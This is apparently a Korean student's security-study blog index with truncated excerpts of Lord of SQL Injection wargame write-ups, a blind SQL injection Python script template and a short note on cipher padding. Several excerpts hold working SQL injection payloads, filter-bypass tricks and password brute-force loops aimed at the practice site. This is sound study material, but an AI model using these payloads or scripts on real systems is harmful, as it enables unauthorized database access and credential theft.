보안 공부 79

[Load of SQL Injection] dark knight

-참: URL + ?pw=1&&no=1 or (1 like 1) --> Hello guest 나타남 거짓: URL + ?pw=1&&no=1 or (1 like 2) 길이 알아내기+ pw 알아내기 시도 Hello admin이 나올 때 참!! import requests cookies={'PHPSESSID':'쿠키값'} url ="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&&no=1 or " length=8#hash는 17자리 for i in range(1, 30): length_srch=f"(length(pw) like {i})" print("length_srch: "+length_srch) respons..

[Load of SQL Injection] Golem

-참일 때 ?pw=1'||'1' like '1' %23 -거짓일 때 ?pw=1'||'1' like '2' %23 1. 필터링 우회하기 1. '='(등호)는 like 로 대체가능 2. substr()는 mid()로 대체가능 2. pw 길이 알아내기 ?pw=1'||length(pw) like 8 %23 select id from prob_golem where id='guest' and pw='1'||length(pw) like 8 #' --> Hello admin 출력 --> 참 따라서 pw의 길이는 8 2. pw 알아내기 ?pw=1'||mid(pw, n, 1) like '? --> python 사용 import requests cookies={'PHPSESSID':'쿠키값'} url ="https://lo..

[Load of SQL Injection] vampire

필터링 1. '(홑따음표) 2. 대문자를 소문자로 바꿔주는 strtolower() 함수 3. str_replace()함수 먼저 strtolower()함수의 취약점을 찾아보았다. strtolower()를 사용할 때 %c4%b0을 입력하면 i로 바뀐다고한다. 그래서 adm%c4%b0n을 입력해 줬더니, 이상한 i가 등장...? 안되겠다 싶어서 str_replace함수를 공략했다. str_replace(문자열1, 문자열2, 문자열3) str_replace( 1번째 인수 : 변경대상 문자 2번째 인수 : 변경하려는 문자 3번째 인수 : 변수, replace가 바꾸고자 하는 문자열(변수수) ) ex) result=str_replace("love", "hate", "I love you") result 값은 "I h..

Blind SQL Injection 파이썬 예문

-- get 방식으로 변수 입력받을 때 1. cookie 설정 2. URL 편집 3. requests.get으로 받기 import requests cookies={'PHPSESSID':'쿠키값'} url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=" length=8#pw는 8자리 pw= "" for i in range(1, length+1): for j in range(33, 122):#문자범위 search_str="1'||substr(pw,"+str(i)+",1)='"+chr(j) print("search_str: "+search_str) response= requests.get(url+search_str, co..

[Load of SQL injection] orge

Blind SQL injection 사용 Blind SQL injection --> https://owasp.org/www-community/attacks/Blind_SQL_Injection 1. 참, 거짓 확인 -참: ?pw=1'||'1'='1 --> hello guest 작동 O -거짓: ?pw=1'||'1'='1 --> hello guest 작동 X 2. pw길이 확인 ?pw=1'||length(pw)='17 --> hello guest 작동 O --> 참 pw는 17자리이다. 그런데 ?pw=1'||length(pw)='8 --> hello admin 작동 O hello guest가 뜰 때의 pw는 guest의 pw이고, hello admin이 뜰 때의 pw는 admin의 pw인 것 같다. 우리는 ..

패딩과 운영모드

패딩 : 평문에 데이터를 붙여서 평문의 크기가 블록 크기의 배수가 되도록 만드는 과정 1. 비트패딩 - 마지막 블록에서 평문이 채우지 못하는 비트 중 쵱상위 비트를 1로 설정하고 나머지는 모두 0으로 채우는 패딩 기법 ∣ 1011 1011 1111 0111 ∣ 1011 0110 1000 0000∣ **평문의 크기가 블록 크기의 배수일 때: 1000 0000 0000 0000 를 패딩으로 추가. 2. 바이트 패딩 -바이트 단위로 패딩을 수행하는 패딩 기법 대표적: ASNI X.923 : 마지막 블록의 남는 바이트를 임의의 값 (0)으로 채우고 마지막 바이트에 패딩의 길이를 기록하는 기법) A3 B2 91 81 50 23 00 00 ∣ 14 50 00 00 00 00 00 04 --> 마지막 바이트가 4라서..